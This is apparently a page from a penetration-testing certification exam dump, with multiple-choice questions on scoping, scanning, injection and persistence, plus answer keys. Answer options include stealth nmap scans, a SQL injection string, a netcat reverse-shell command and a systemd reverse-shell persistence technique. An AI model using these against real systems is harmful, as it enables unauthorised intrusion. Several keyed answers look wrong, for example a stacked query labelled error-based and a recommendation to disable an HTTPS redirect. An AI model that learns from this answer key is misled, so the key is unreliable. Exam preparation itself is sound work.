
A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?

- A. Redact identifying information and provide a previous customer's documentation.
- B. Allow the client to only view the information while in secure spaces.
- C. Determine which reports are no longer under a period of confidentiality.
- D. Provide raw output from penetration testing tools.

**Answer:** C

**Explanation:**

Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer's consent.

**NEW QUESTION 307**

Which of the following is a rules engine for managing public cloud accounts and resources?

- A. Cloud Custodian
- B. Cloud Brute
- C. Pacu
- D. Scout Suite

**Answer:** A

**Explanation:**

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

**NEW QUESTION 309**

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

- A. `nmap -p0 -T0 -sS 192.168.1.10`
- B. `nmap -sA -sV --host-timeout 60 192.168.1.10`
- C. `nmap -f --badsum 192.168.1.10`
- D. `nmap -A -n 192.168.1.10`

**Answer:** A

**NEW QUESTION 312**

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap
- B. Nikto
- C. Cain and Abel
- D. Ethercap

**Answer:** B

**Explanation:**

<https://hackertarget.com/nikto-website-scanner/>

**NEW QUESTION 316**

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

**Answer:** D

**NEW QUESTION 319**

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

**Answer:** D

**NEW QUESTION 321**

A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:

1;SELECT Username, Password FROM Users;

Which of the following injection attacks is the penetration tester using?

- A. Blind SQL
- B. Boolean SQL
- C. Stacked queries
- D. Error-based

**Answer:** D

**NEW QUESTION 325**

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader

- C. Chief Information Officer
- D. Client

**Answer:** B

#### NEW QUESTION 330

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. `nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan`
- B. `nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan`
- C. `nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan`
- D. `nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan`

**Answer:** C

#### NEW QUESTION 333

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. `tcpdump -i eth01 arp and arp[6:2] == 2`
- B. `arp -s 192.168.1.63 60-36-DD-A6-C5-33`
- C. `ipconfig /all findstr /v 00-00-00 | findstr Physical`
- D. `route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1`

**Answer:** B

#### NEW QUESTION 335

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

**Answer:** A

#### NEW QUESTION 336

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

**Answer:** A

#### NEW QUESTION 337

Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

- A. The IP address is wrong.
- B. The server is unreachable.
- C. The IP address is on the blacklist.
- D. The IP address is on the allow list.

**Answer:** C

#### Explanation:

The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blacklist. Blacklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blacklist, the scanning process will be blocked.

#### NEW QUESTION 340

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

- A. Weak authentication schemes
- B. Credentials stored in strings
- C. Buffer overflows
- D. Non-optimized resource management

**Answer:** C

**Explanation:**

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

**NEW QUESTION 343**

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot system service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the nc -e /bin/sh <...> command.
- D. Move laterally to create a user account on LDAP

**Answer:** A

**Explanation:**

<https://hosakacorp.net/p/systemd-user.html>

**NEW QUESTION 346**

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUiIQQU1FOnNIY3JldHBhc3N3b3Jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```
Port      State      Service    Version
22/tcp    open      ssh        Cisco SSH 1.25 (protocol 2.0)
80/tcp    open      http       Cisco IOS http config
|_https-  title: Did not follow redirect to https://10.50.100.16
443/tcp   open      https      Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

**Answer:** CD

**NEW QUESTION 348**

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